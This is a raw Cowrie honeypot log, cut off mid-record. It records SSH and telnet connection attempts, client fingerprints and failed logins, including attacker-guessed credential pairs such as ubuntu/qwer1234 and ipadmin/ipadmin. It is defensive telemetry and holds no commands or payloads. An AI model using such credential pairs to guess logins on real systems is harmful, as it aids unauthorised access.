{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":54100,"dst_ip":"159.203.135.109","dst_port":22,"session":"dadd34983b8e","protocol":"ssh","message":"New connection: 2.57.122.208:54100 (159.203.135.109:22) [session: dadd34983b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:51:40.626129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:51:40.721666Z","src_ip":"2.57.122.208","session":"dadd34983b8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:51:40.819849Z","src_ip":"2.57.122.208","session":"dadd34983b8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:51:41.719538Z","src_ip":"2.57.122.208","session":"dadd34983b8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:51:43.020136Z","src_ip":"2.57.122.208","session":"dadd34983b8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":36376,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd98232b5792","protocol":"ssh","message":"New connection: 87.106.29.151:36376 (10.17.0.5:22) [session: dd98232b5792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:51:45.565335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:51:45.570075Z","src_ip":"87.106.29.151","session":"dd98232b5792","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:51:45.667500Z","src_ip":"87.106.29.151","session":"dd98232b5792","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ipadmin","password":"ipadmin","message":"login attempt [ipadmin/ipadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:51:46.088456Z","src_ip":"87.106.29.151","session":"dd98232b5792","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:51:47.187678Z","src_ip":"87.106.29.151","session":"dd98232b5792","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":6981,"dst_ip":"10.17.0.5","dst_port":23,"session":"9898e2f38483","protocol":"telnet","message":"New connection: 212.55.149.117:6981 (10.17.0.5:23) [session: 9898e2f38483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:29.569268Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":55518,"dst_ip":"159.203.135.109","dst_port":22,"session":"5125a7bfe64e","protocol":"ssh","message":"New connection: 20.82.144.240:55518 (159.203.135.109:22) [session: 5125a7bfe64e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:29.949565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:29.954429Z","src_ip":"20.82.144.240","session":"5125a7bfe64e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:30.023687Z","src_ip":"20.82.144.240","session":"5125a7bfe64e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"ubuntu","message":"login attempt [test/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:30.327083Z","src_ip":"20.82.144.240","session":"5125a7bfe64e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.41.96","src_port":36570,"dst_ip":"159.203.135.109","dst_port":23,"session":"d56e54ac3a62","protocol":"telnet","message":"New connection: 166.62.41.96:36570 (159.203.135.109:23) [session: d56e54ac3a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:30.421011Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:31.398756Z","src_ip":"20.82.144.240","session":"5125a7bfe64e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.181.4.219","src_port":54118,"dst_ip":"10.17.0.5","dst_port":22,"session":"396d7e1c8fa3","protocol":"ssh","message":"New connection: 108.181.4.219:54118 (10.17.0.5:22) [session: 396d7e1c8fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:35.680128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:35.685315Z","src_ip":"108.181.4.219","session":"396d7e1c8fa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:35.755157Z","src_ip":"108.181.4.219","session":"396d7e1c8fa3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:cb:db:4e:06:40:cd:7e:f8:c1:d6:6d:d6:4e:e3:ec","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILXR/hfqFxzdtf+rhJ+Qe5KqP/q2pBT/kE1guOiA+r+Q","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 4d:cb:db:4e:06:40:cd:7e:f8:c1:d6:6d:d6:4e:e3:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:36.079194Z","src_ip":"108.181.4.219","session":"396d7e1c8fa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:cb:db:4e:06:40:cd:7e:f8:c1:d6:6d:d6:4e:e3:ec","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILXR/hfqFxzdtf+rhJ+Qe5KqP/q2pBT/kE1guOiA+r+Q","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:36.083004Z","src_ip":"108.181.4.219","session":"396d7e1c8fa3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:c3:a6:c8:8c:c2:c2:03:f7:99:78:b1:b6:82:a6:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4YADtnuVZPxMxb+kxU/5K2Ea6OYtNa0DIHuHx9bdLcQ647rVt86jUcMuyebQChGrp8lCYNQfTwjYwd+QB6a2oyNb+nmvRYmh62R1KZQ4rhnrI6ZI3HCgef7+DX9S3YEEh6ObsQ54ql9TAJMySFu8p1Aha+c+2hps3zH5PchXExRZ2UG1Ue5xHnyuDvQeVD214zkDiDpUpf4bq0EqtACE6sjRnJt+JK+0EPbrWmGH7zxKROVhr7ivHgHnjyIwtfeQs06kuh74BDeJfV49CK6N+1Y6dTflZVFnrRfvi27ZWffV8vE2HW8jcF+tJq5QUAEL0ac1z0M+wlXSTcSX3vg3/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:c3:a6:c8:8c:c2:c2:03:f7:99:78:b1:b6:82:a6:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:36.152044Z","src_ip":"108.181.4.219","session":"396d7e1c8fa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:c3:a6:c8:8c:c2:c2:03:f7:99:78:b1:b6:82:a6:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4YADtnuVZPxMxb+kxU/5K2Ea6OYtNa0DIHuHx9bdLcQ647rVt86jUcMuyebQChGrp8lCYNQfTwjYwd+QB6a2oyNb+nmvRYmh62R1KZQ4rhnrI6ZI3HCgef7+DX9S3YEEh6ObsQ54ql9TAJMySFu8p1Aha+c+2hps3zH5PchXExRZ2UG1Ue5xHnyuDvQeVD214zkDiDpUpf4bq0EqtACE6sjRnJt+JK+0EPbrWmGH7zxKROVhr7ivHgHnjyIwtfeQs06kuh74BDeJfV49CK6N+1Y6dTflZVFnrRfvi27ZWffV8vE2HW8jcF+tJq5QUAEL0ac1z0M+wlXSTcSX3vg3/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:36.155486Z","src_ip":"108.181.4.219","session":"396d7e1c8fa3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:de:c4:38:84:03:bd:26:3b:d6:72:d0:d9:d5:a6:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCDa+laJxF6SK9pTyPR2w2ngqilS9vd77mkJJWjFf1sSpDhsEmuLZFU5c3srgpFADxmQuyVRuvujIlTSRWXuRA+KpUgSQElKIUit8iNk20HV5Hd9uNSuck8OKrgLeNLJEDY+KB1byi+76I14AJqzu76RC7ECbUOrxddPGMN93AGoaeNoAxG2IuTg9FNUAEAdTNdNTHUR39dkp1Z0Mvs0ymtA6rRtp1dO0SXe4LLYlzWBfr2FM96QKLnMe4++c1OhMJ2k7PMU5OcCHiWpZmf6T99wtbZhRtEkq56KWJ9h2CfM+o7mkUlop+N9fM9qqTX1r+5zMxCImcry1Fsxd/fyhr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:de:c4:38:84:03:bd:26:3b:d6:72:d0:d9:d5:a6:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:36.224856Z","src_ip":"108.181.4.219","session":"396d7e1c8fa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:de:c4:38:84:03:bd:26:3b:d6:72:d0:d9:d5:a6:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCDa+laJxF6SK9pTyPR2w2ngqilS9vd77mkJJWjFf1sSpDhsEmuLZFU5c3srgpFADxmQuyVRuvujIlTSRWXuRA+KpUgSQElKIUit8iNk20HV5Hd9uNSuck8OKrgLeNLJEDY+KB1byi+76I14AJqzu76RC7ECbUOrxddPGMN93AGoaeNoAxG2IuTg9FNUAEAdTNdNTHUR39dkp1Z0Mvs0ymtA6rRtp1dO0SXe4LLYlzWBfr2FM96QKLnMe4++c1OhMJ2k7PMU5OcCHiWpZmf6T99wtbZhRtEkq56KWJ9h2CfM+o7mkUlop+N9fM9qqTX1r+5zMxCImcry1Fsxd/fyhr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:36.229090Z","src_ip":"108.181.4.219","session":"396d7e1c8fa3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:19:21:dd:6b:f1:b8:2a:6d:0a:86:e6:de:d8:c4:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8neP0F1CxYZ7ok5WDIcwdy5+VumsK1bGp2jjrin5JmBf+FN4lo1Rw1Aakrs9uHNHrWHsHKn9Lnn+QZi4KZ78DJxJZzN9o84IxzILchWdGOIFqtl6eEzt+YvYX/VCDoQpxK8Iq5S4vrtamnHMaR6VXiIuZ7rQNyJwO2/ljDRpechDNYeiCLpa3g82YSOFzcWJh3Gh+5T4STPdznEusbkxjRCytTc77jnOUdrXiqLWX+5abpocyGtyJm7ZXMmaMuPbidmNUVHquIGQyXos7ENczWOko+tmhn0oJ56Ywx5n9xdA0QcDczLCQOXXUAioZ0MgzxJIFLCNY7GHDUBde23Rf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:19:21:dd:6b:f1:b8:2a:6d:0a:86:e6:de:d8:c4:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:36.301344Z","src_ip":"108.181.4.219","session":"396d7e1c8fa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:19:21:dd:6b:f1:b8:2a:6d:0a:86:e6:de:d8:c4:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8neP0F1CxYZ7ok5WDIcwdy5+VumsK1bGp2jjrin5JmBf+FN4lo1Rw1Aakrs9uHNHrWHsHKn9Lnn+QZi4KZ78DJxJZzN9o84IxzILchWdGOIFqtl6eEzt+YvYX/VCDoQpxK8Iq5S4vrtamnHMaR6VXiIuZ7rQNyJwO2/ljDRpechDNYeiCLpa3g82YSOFzcWJh3Gh+5T4STPdznEusbkxjRCytTc77jnOUdrXiqLWX+5abpocyGtyJm7ZXMmaMuPbidmNUVHquIGQyXos7ENczWOko+tmhn0oJ56Ywx5n9xdA0QcDczLCQOXXUAioZ0MgzxJIFLCNY7GHDUBde23Rf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:36.305416Z","src_ip":"108.181.4.219","session":"396d7e1c8fa3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:0c:30:b9:be:19:90:53:43:fd:e2:3a:42:46:92:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAroU3dCGpDHd6LbMIXZOS8Qqoi9Mnhsa4wIt3mwpWDbQJD0u/WMjnGnY9Mw1rdcibw7yhf85zi9iQjEktrgQm1YlmAK1hMvdFf2APkWiONRt4sLYlKhA1KV/DasbeLJaMDrCzRWy5dQZ5gLXD31XhSPJdQ3HTCALAKOgq/LhELAolQiwbnkfWP6YXRC+L+ljEdvMVjs1n95smPtqf2AWuApO69lmc/j9Ww8AqwLJZEbztx35o/hNWJPPNmoz6ayuIH1MFSVrO1Y8NBnDXa67m0WFuiYVk/+P4bQREE8PUme09I1mPhKshJR6qug73pos6+bhq5W9ZU/aGHaAOoCzUL4nXAk3Tg7BHQRPTo3G5fyi6SWCqajQN4v8FCFNc5QzrKX4V4j7hnyv5C5BJM9T2Y7l7uSDiNHPLOrRFAchu2+YITRpTsLEtivTjIKsWBwu/LuyjA0eaU3lQpuzmNC70q6+RYArBoarLz6IIVDGgoHbIAEUWPmSTebHO6OltX8bFtGl7PlQcL4E+jA2nPGmSGgahBApwLKLyNenJT1Go175TkeU3c88R0Bg4ZAkRDWp2VnsfJcLL9VtcZ9/ToWsSBtNfhlsDUHclj9u7+G3jU4GbOt66b9EnZJhmK1Naw9f8I0E4ygmdba4Q+oorAQ+OiFqA7I0hSAkftR6SFAybEJE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:0c:30:b9:be:19:90:53:43:fd:e2:3a:42:46:92:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:36.378715Z","src_ip":"108.181.4.219","session":"396d7e1c8fa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:0c:30:b9:be:19:90:53:43:fd:e2:3a:42:46:92:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAroU3dCGpDHd6LbMIXZOS8Qqoi9Mnhsa4wIt3mwpWDbQJD0u/WMjnGnY9Mw1rdcibw7yhf85zi9iQjEktrgQm1YlmAK1hMvdFf2APkWiONRt4sLYlKhA1KV/DasbeLJaMDrCzRWy5dQZ5gLXD31XhSPJdQ3HTCALAKOgq/LhELAolQiwbnkfWP6YXRC+L+ljEdvMVjs1n95smPtqf2AWuApO69lmc/j9Ww8AqwLJZEbztx35o/hNWJPPNmoz6ayuIH1MFSVrO1Y8NBnDXa67m0WFuiYVk/+P4bQREE8PUme09I1mPhKshJR6qug73pos6+bhq5W9ZU/aGHaAOoCzUL4nXAk3Tg7BHQRPTo3G5fyi6SWCqajQN4v8FCFNc5QzrKX4V4j7hnyv5C5BJM9T2Y7l7uSDiNHPLOrRFAchu2+YITRpTsLEtivTjIKsWBwu/LuyjA0eaU3lQpuzmNC70q6+RYArBoarLz6IIVDGgoHbIAEUWPmSTebHO6OltX8bFtGl7PlQcL4E+jA2nPGmSGgahBApwLKLyNenJT1Go175TkeU3c88R0Bg4ZAkRDWp2VnsfJcLL9VtcZ9/ToWsSBtNfhlsDUHclj9u7+G3jU4GbOt66b9EnZJhmK1Naw9f8I0E4ygmdba4Q+oorAQ+OiFqA7I0hSAkftR6SFAybEJE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:36.382177Z","src_ip":"108.181.4.219","session":"396d7e1c8fa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:36.450711Z","src_ip":"108.181.4.219","session":"396d7e1c8fa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":39228,"dst_ip":"10.17.0.5","dst_port":22,"session":"b67248bbb51d","protocol":"ssh","message":"New connection: 87.106.29.151:39228 (10.17.0.5:22) [session: b67248bbb51d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:38.485545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:38.490029Z","src_ip":"87.106.29.151","session":"b67248bbb51d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.